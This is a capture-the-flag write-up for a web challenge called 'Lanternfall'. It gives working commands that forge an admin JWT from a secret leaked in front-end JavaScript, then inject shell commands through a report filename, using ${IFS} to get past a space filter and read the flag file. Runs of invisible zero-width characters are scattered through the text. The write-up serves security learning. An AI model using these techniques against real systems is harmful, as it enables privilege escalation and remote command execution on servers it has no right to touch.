← Back to Writeups
CUSTOMEasyWeb

Lanternfall

XESXOR9/2/20263 min read
#web#custom#easy#file_exfiltration_via_admin_ap#hardcoded_jwt_secret_in_fronte#jwt_forgery_privilege_escalati#nextjs_build_manifest_route_di#sqlite_output_command_injectio#whitespace_filter_bypass_with_

Lanternfall

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: file_exfiltration_via_admin_api, hardcoded_jwt_secret_in_frontend_js, jwt_forgery_privilege_escalation, nextjs_build_manifest_route_disclosure, sqlite_output_command_injection, whitespace_filter_bypass_with_ifs

Summary

Walkthrough of the CUSTOM Web Lanternfall. Task: Next.js web app with nginx, hidden admin panel, hardcoded JWT secret in frontend JS, and command injection via SQLite .output filename parameter. Solution: Discover routes via _buildManifest.js,

Description

Ayame has spent years weaving information networks through Gekkō's alleys, favoring precision strikes over reckless blades. Lately she suspects a rival clan has hijacked her moonlit gallery, twisting it into a staging ground for hushed deals and pilfered secrets. She needs a careful ally—someone to slip through the lantern-lit facade, catalogue the tampering, and restore balance without shattering the trust of the people she protects. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Next.js web application served behind nginx with an admin panel. The goal is to gain admin access and exploit a command injection vulnerability to read the flag from the server filesystem.

Analysis

Route Discovery via Build Manifest

The target is a Next.js application behind nginx. Next.js exposes a build manifest file at a predictable path that lists all application routes:

/_next/static/UXFKW7UGDZYyKh9G8IB5w/_buildManifest.js

This revealed the following routes:

  • / — index page
  • /admin — admin panel
  • /unauthorized — access denied page
  • /404 — custom error page ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Hardcoded JWT Secret in Frontend JavaScript

The admin page JS chunk was publicly accessible:

/_next/static/chunks/pages/admin-8fd9c6420ad81ca8.js

Inside this chunk, a token forge function contained the JWT signing secret in the X-Lantern-Sigil header value:

ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024

The same JS chunk also revealed the full API surface:

  • POST /api/auth/login — user login
  • POST /api/auth/register — user registration
  • POST /api/admin/reports — report generation (admin-only)
  • POST /api/admin/tokens — token forge (admin-only)
  • GET /api/admin/files — file browser (admin-only) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Command Injection in Report Filename

The /api/admin/reports endpoint accepts JSON with reportType, format, and filename fields. The filename parameter is passed directly to SQLite's .output command, which is executed via a shell — creating an OS command injection vector. A whitespace filter blocks spaces in the filename, but this is trivially bypassed using ${IFS}.

Solution

Step 1: Register a User Account

bash
curl -s -X POST http://TARGET/api/auth/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"hacker","email":"hacker@test.com","password":"password123"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Forge an Admin JWT

Using the leaked secret from the frontend JS chunk:

python
#!/usr/bin/env python3
import jwt

secret = 'ayame_moonlight_gekko_secret_key_for_jwt_signing_do_not_use_in_production_2024'
payload = {
    'id': 1,
    'username': 'hacker',
    'email': 'hacker@test.com',
    'role': 'admin'
}
token = jwt.encode(payload, secret, algorithm='HS256')
print(token)

Step 3: Verify Admin Access

bash
TOKEN="<forged_jwt_token>"

# Test admin endpoint
curl -s http://TARGET/api/admin/files?filename=test \
  -H "Authorization: Bearer $TOKEN"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Confirm Command Injection

bash
# Inject $(id) into filename — whitespace not needed here
curl -s -X POST http://TARGET/api/admin/reports \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"reportType":"user_activity","format":"csv","filename":"$(id).csv"}'

The response included gid=65533(nogroup) in the error output, confirming OS command injection.

Step 5: Exfiltrate the Flag

The server filters whitespace in the filename. Bypass using ${IFS} (Internal Field Separator) as a space substitute: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# Write flag to a known location in the reports directory
curl -s -X POST http://TARGET/api/admin/reports \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"reportType":"user_activity","format":"csv","filename":"$(cat${IFS}/flag*${IFS}>/tmp/reports/flag.txt)out.csv"}'

# Read the flag via the admin file browser
curl -s "http://TARGET/api/admin/files?filename=flag.txt" \
  -H "Authorization: Bearer $TOKEN"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering file_exfiltration_via_admin_api, hardcoded_jwt_secret_in_frontend_js, jwt_forgery_privilege_escalation, nextjs_build_manifest_route_disclosure, sqlite_output_command_injection, whitespace_filter_bypass_with_ifs was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-02 • CUSTOM • Lanternfall • Difficulty: Easy